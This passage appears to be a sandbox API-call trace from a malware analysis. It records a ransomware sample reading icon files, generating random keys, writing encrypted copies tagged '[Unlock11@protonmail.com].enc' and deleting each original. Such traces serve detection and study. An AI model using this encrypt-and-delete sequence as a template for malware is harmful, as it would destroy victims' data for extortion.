Size=0x1c) returned 0x33ea5c0 [0115.383] GetLastError () returned 0x0 [0115.383] GetLastError () returned 0x0 [0115.383] GetLastError () returned 0x0 [0115.383] GetLastError () returned 0x0 [0115.383] GetCurrentThreadId () returned 0x9b0 [0115.383] GetLastError () returned 0x0 [0115.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea5c0 | out: hHeap=0x2ad0000) returned 1 [0115.383] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6b78 [0115.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0115.384] GetLastError () returned 0x0 [0115.384] GetLastError () returned 0x0 [0115.384] GetLastError () returned 0x0 [0115.384] GetLastError () returned 0x0 [0115.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0115.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6b88 [0115.384] GetLastError () returned 0x0 [0115.384] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0115.385] GetFileType (hFile=0x39c) returned 0x1 [0115.385] GetLastError () returned 0x0 [0115.385] GetCurrentThreadId () returned 0x9b0 [0115.385] GetLastError () returned 0x0 [0115.385] GetFileType (hFile=0x39c) returned 0x1 [0115.385] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.386] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.386] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.386] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.386] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.386] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.386] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.386] GetLastError () returned 0x0 [0115.386] GetCurrentThreadId () returned 0x9b0 [0115.386] GetLastError () returned 0x0 [0115.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b88 | out: hHeap=0x2ad0000) returned 1 [0115.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0115.387] GetLastError () returned 0x0 [0115.387] GetLastError () returned 0x0 [0115.387] GetLastError () returned 0x0 [0115.387] GetLastError () returned 0x0 [0115.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0115.387] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6b88 [0115.387] GetLastError () returned 0x0 [0115.388] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0115.388] GetFileType (hFile=0x3ac) returned 0x1 [0115.388] GetLastError () returned 0x0 [0115.388] GetCurrentThreadId () returned 0x9b0 [0115.388] GetLastError () returned 0x0 [0115.388] GetFileType (hFile=0x3ac) returned 0x1 [0115.389] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.389] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.389] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.389] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.389] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.389] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.389] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.389] GetLastError () returned 0x0 [0115.389] GetCurrentThreadId () returned 0x9b0 [0115.389] GetLastError () returned 0x0 [0115.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b88 | out: hHeap=0x2ad0000) returned 1 [0115.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a22a8 | out: hHeap=0x2ad0000) returned 1 [0115.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0115.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0115.390] GetLastError () returned 0x0 [0115.390] GetLastError () returned 0x0 [0115.390] GetCurrentThreadId () returned 0x9b0 [0115.390] GetLastError () returned 0x0 [0115.390] GetCurrentThreadId () returned 0x9b0 [0115.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0115.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0115.391] GetLastError () returned 0x0 [0115.391] GetLastError () returned 0x0 [0115.391] GetCurrentThreadId () returned 0x9b0 [0115.391] GetLastError () returned 0x0 [0115.392] GetLastError () returned 0x0 [0115.393] GetLastError () returned 0x0 [0115.393] GetCurrentThreadId () returned 0x9b0 [0115.393] GetLastError () returned 0x0 [0115.394] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x393) returned 0x35c5908 [0115.394] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x395) returned 0x35c5908 [0115.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6b88 [0115.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b78 | out: hHeap=0x2ad0000) returned 1 [0115.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x398) returned 0x3888c80 [0115.394] GetLastError () returned 0x0 [0115.394] GetLastError () returned 0x0 [0115.394] GetLastError () returned 0x0 [0115.395] GetLastError () returned 0x0 [0115.395] GetCurrentThreadId () returned 0x9b0 [0115.395] GetLastError () returned 0x0 [0115.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3888c80 | out: hHeap=0x2ad0000) returned 1 [0115.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0115.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0115.395] GetLastError () returned 0x0 [0115.395] GetLastError () returned 0x0 [0115.396] GetCurrentThreadId () returned 0x9b0 [0115.396] GetLastError () returned 0x0 [0115.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3888530 | out: hHeap=0x2ad0000) returned 1 [0115.396] GetCurrentThreadId () returned 0x9b0 [0115.396] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5ca8 [0115.396] GetLastError () returned 0x0 [0115.396] GetLastError () returned 0x0 [0115.396] GetCurrentThreadId () returned 0x9b0 [0115.396] GetLastError () returned 0x0 [0115.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ca8 | out: hHeap=0x2ad0000) returned 1 [0115.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0115.397] GetLastError () returned 0x0 [0115.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0115.398] CloseHandle (hObject=0x3ac) returned 1 [0115.398] GetLastError () returned 0x0 [0115.398] GetCurrentThreadId () returned 0x9b0 [0115.398] GetLastError () returned 0x0 [0115.398] GetLastError () returned 0x0 [0115.398] CloseHandle (hObject=0x39c) returned 1 [0115.398] GetLastError () returned 0x0 [0115.399] GetCurrentThreadId () returned 0x9b0 [0115.399] GetLastError () returned 0x0 [0115.399] GetLastError () returned 0x0 [0115.399] GetLastError () returned 0x0 [0115.399] GetLastError () returned 0x0 [0115.399] GetLastError () returned 0x0 [0115.399] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1 [0115.400] GetLastError () returned 0x0 [0115.400] GetCurrentThreadId () returned 0x9b0 [0115.400] GetLastError () returned 0x0 [0115.400] GetLastError () returned 0x0 [0115.400] GetLastError () returned 0x0 [0115.400] GetLastError () returned 0x0 [0115.401] GetLastError () returned 0x0 [0115.401] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico", lpFilePart=0x9bada4*="Rotate8.ico") returned 0x2a [0115.401] GetCurrentThreadId () returned 0x9b0 [0115.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0115.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0115.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0115.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0115.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea7a0 [0115.401] GetLastError () returned 0x0 [0115.401] GetLastError () returned 0x0 [0115.401] GetLastError () returned 0x0 [0115.402] GetLastError () returned 0x0 [0115.402] GetCurrentThreadId () returned 0x9b0 [0115.402] GetLastError () returned 0x0 [0115.402] GetCurrentThreadId () returned 0x9b0 [0115.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea7a0 | out: hHeap=0x2ad0000) returned 1 [0115.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea610 [0115.402] GetLastError () returned 0x0 [0115.402] GetLastError () returned 0x0 [0115.402] GetLastError () returned 0x0 [0115.402] GetLastError () returned 0x0 [0115.402] GetCurrentThreadId () returned 0x9b0 [0115.402] GetLastError () returned 0x0 [0115.403] GetLastError () returned 0x0 [0115.403] GetLastError () returned 0x0 [0115.403] GetLastError () returned 0x0 [0115.403] GetLastError () returned 0x0 [0115.403] GetCurrentThreadId () returned 0x9b0 [0115.403] GetLastError () returned 0x0 [0115.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea610 | out: hHeap=0x2ad0000) returned 1 [0115.403] GetLastError () returned 0x0 [0115.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0115.403] GetLastError () returned 0x0 [0115.403] GetLastError () returned 0x0 [0115.403] GetLastError () returned 0x0 [0115.404] GetCurrentThreadId () returned 0x9b0 [0115.404] GetLastError () returned 0x0 [0115.404] GetCurrentThreadId () returned 0x9b0 [0115.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a8a8 [0115.404] GetLastError () returned 0x0 [0115.404] GetLastError () returned 0x0 [0115.404] GetLastError () returned 0x0 [0115.404] GetLastError () returned 0x0 [0115.404] GetCurrentThreadId () returned 0x9b0 [0115.404] GetLastError () returned 0x0 [0115.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0115.405] GetLastError () returned 0x0 [0115.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0115.405] GetLastError () returned 0x0 [0115.405] GetLastError () returned 0x0 [0115.405] GetLastError () returned 0x0 [0115.405] GetCurrentThreadId () returned 0x9b0 [0115.405] GetLastError () returned 0x0 [0115.405] GetLastError () returned 0x0 [0115.405] GetLastError () returned 0x0 [0115.405] GetLastError () returned 0x0 [0115.405] GetLastError () returned 0x0 [0115.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0115.406] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0115.406] GetLastError () returned 0x0 [0115.406] GetCurrentThreadId () returned 0x9b0 [0115.406] GetLastError () returned 0x0 [0115.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0115.406] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664df4 | out: pbBuffer=0x3664df4) returned 1 [0115.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0115.406] GetCurrentThreadId () returned 0x9b0 [0115.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0115.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0115.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea5c0 [0115.407] GetLastError () returned 0x0 [0115.407] GetLastError () returned 0x0 [0115.407] GetLastError () returned 0x0 [0115.407] GetLastError () returned 0x0 [0115.407] GetCurrentThreadId () returned 0x9b0 [0115.407] GetLastError () returned 0x0 [0115.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea5c0 | out: hHeap=0x2ad0000) returned 1 [0115.407] GetCurrentThreadId () returned 0x9b0 [0115.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea5c0 [0115.407] GetLastError () returned 0x0 [0115.408] GetLastError () returned 0x0 [0115.408] GetLastError () returned 0x0 [0115.408] GetLastError () returned 0x0 [0115.408] GetCurrentThreadId () returned 0x9b0 [0115.408] GetLastError () returned 0x0 [0115.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea5c0 | out: hHeap=0x2ad0000) returned 1 [0115.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6a08 [0115.408] GetCurrentThreadId () returned 0x9b0 [0115.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0115.408] GetLastError () returned 0x0 [0115.408] GetLastError () returned 0x0 [0115.409] GetLastError () returned 0x0 [0115.409] GetLastError () returned 0x0 [0115.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0115.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6b78 [0115.409] GetLastError () returned 0x0 [0115.409] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0115.409] GetFileType (hFile=0x39c) returned 0x1 [0115.409] GetLastError () returned 0x0 [0115.409] GetCurrentThreadId () returned 0x9b0 [0115.409] GetLastError () returned 0x0 [0115.410] GetFileType (hFile=0x39c) returned 0x1 [0115.410] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.410] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.410] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.410] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.410] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.410] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.410] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.410] GetLastError () returned 0x0 [0115.410] GetCurrentThreadId () returned 0x9b0 [0115.410] GetLastError () returned 0x0 [0115.410] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0115.411] GetFileType (hFile=0x3ac) returned 0x1 [0115.411] GetCurrentThreadId () returned 0x9b0 [0115.411] GetLastError () returned 0x0 [0115.411] GetFileType (hFile=0x3ac) returned 0x1 [0115.411] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.411] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.411] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.411] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.411] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.411] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.411] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.412] GetCurrentThreadId () returned 0x9b0 [0115.412] GetLastError () returned 0x0 [0115.412] GetCurrentThreadId () returned 0x9b0 [0115.412] GetLastError () returned 0x0 [0115.412] GetCurrentThreadId () returned 0x9b0 [0115.412] GetLastError () returned 0x0 [0115.413] GetCurrentThreadId () returned 0x9b0 [0115.414] GetLastError () returned 0x0 [0115.414] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x393) returned 0x35c5908 [0115.414] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x395) returned 0x35c5908 [0115.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a28 [0115.414] GetCurrentThreadId () returned 0x9b0 [0115.414] GetCurrentThreadId () returned 0x9b0 [0115.414] GetLastError () returned 0x0 [0115.414] GetCurrentThreadId () returned 0x9b0 [0115.414] GetLastError () returned 0x0 [0115.414] GetCurrentThreadId () returned 0x9b0 [0115.414] GetLastError () returned 0x0 [0115.415] CloseHandle (hObject=0x3ac) returned 1 [0115.415] GetCurrentThreadId () returned 0x9b0 [0115.415] GetLastError () returned 0x0 [0115.416] CloseHandle (hObject=0x39c) returned 1 [0115.416] GetCurrentThreadId () returned 0x9b0 [0115.416] GetLastError () returned 0x0 [0115.416] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1 [0115.417] GetLastError () returned 0x0 [0115.417] GetCurrentThreadId () returned 0x9b0 [0115.417] GetLastError () returned 0x0 [0115.417] GetLastError () returned 0x0 [0115.417] GetLastError () returned 0x0 [0115.417] GetLastError () returned 0x0 [0115.417] GetLastError () returned 0x0 [0115.418] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Save.ico", lpFilePart=0x9bada4*="Save.ico") returned 0x27 [0115.418] GetCurrentThreadId () returned 0x9b0 [0115.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0115.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0115.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0115.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0115.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea7f0 [0115.418] GetCurrentThreadId () returned 0x9b0 [0115.418] GetLastError () returned 0x0 [0115.418] GetLastError () returned 0x0 [0115.418] GetLastError () returned 0x0 [0115.418] GetLastError () returned 0x0 [0115.419] GetCurrentThreadId () returned 0x9b0 [0115.419] GetLastError () returned 0x0 [0115.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea7f0 | out: hHeap=0x2ad0000) returned 1 [0115.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea570 [0115.419] GetLastError () returned 0x0 [0115.419] GetLastError () returned 0x0 [0115.419] GetLastError () returned 0x0 [0115.419] GetLastError () returned 0x0 [0115.419] GetCurrentThreadId () returned 0x9b0 [0115.420] GetLastError () returned 0x0 [0115.420] GetLastError () returned 0x0 [0115.420] GetLastError () returned 0x0 [0115.420] GetLastError () returned 0x0 [0115.420] GetLastError () returned 0x0 [0115.420] GetCurrentThreadId () returned 0x9b0 [0115.420] GetLastError () returned 0x0 [0115.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea570 | out: hHeap=0x2ad0000) returned 1 [0115.420] GetCurrentThreadId () returned 0x9b0 [0115.420] GetLastError () returned 0x0 [0115.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0115.421] GetLastError () returned 0x0 [0115.421] GetLastError () returned 0x0 [0115.421] GetLastError () returned 0x0 [0115.421] GetCurrentThreadId () returned 0x9b0 [0115.421] GetLastError () returned 0x0 [0115.421] GetLastError () returned 0x0 [0115.421] GetLastError () returned 0x0 [0115.421] GetLastError () returned 0x0 [0115.421] GetLastError () returned 0x0 [0115.421] GetCurrentThreadId () returned 0x9b0 [0115.421] GetLastError () returned 0x0 [0115.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0115.422] GetLastError () returned 0x0 [0115.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0115.422] GetLastError () returned 0x0 [0115.422] GetLastError () returned 0x0 [0115.556] GetLastError () returned 0x0 [0115.556] GetCurrentThreadId () returned 0x9b0 [0115.557] GetLastError () returned 0x0 [0115.557] GetLastError () returned 0x0 [0115.557] GetLastError () returned 0x0 [0115.557] GetLastError () returned 0x0 [0115.557] GetLastError () returned 0x0 [0115.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0115.559] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e)) returned 1 [0115.559] GetLastError () returned 0x0 [0115.559] GetCurrentThreadId () returned 0x9b0 [0115.559] GetLastError () returned 0x0 [0115.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffe8 | out: hHeap=0x2ad0000) returned 1 [0115.559] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664da4 | out: pbBuffer=0x3664da4) returned 1 [0115.560] GetCurrentThreadId () returned 0x9b0 [0115.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0115.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0115.560] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0115.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea700 [0115.560] GetLastError () returned 0x0 [0115.560] GetLastError () returned 0x0 [0115.560] GetLastError () returned 0x0 [0115.561] GetLastError () returned 0x0 [0115.561] GetCurrentThreadId () returned 0x9b0 [0115.561] GetLastError () returned 0x0 [0115.561] GetCurrentThreadId () returned 0x9b0 [0115.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea700 | out: hHeap=0x2ad0000) returned 1 [0115.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea7f0 [0115.561] GetLastError () returned 0x0 [0115.561] GetLastError () returned 0x0 [0115.561] GetLastError () returned 0x0 [0115.562] GetLastError () returned 0x0 [0115.562] GetCurrentThreadId () returned 0x9b0 [0115.562] GetLastError () returned 0x0 [0115.562] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea7f0 | out: hHeap=0x2ad0000) returned 1 [0115.562] GetCurrentThreadId () returned 0x9b0 [0115.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f69c8 [0115.562] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0115.562] GetLastError () returned 0x0 [0115.562] GetLastError () returned 0x0 [0115.562] GetLastError () returned 0x0 [0115.562] GetLastError () returned 0x0 [0115.563] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0115.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ac8 [0115.563] GetLastError () returned 0x0 [0115.563] 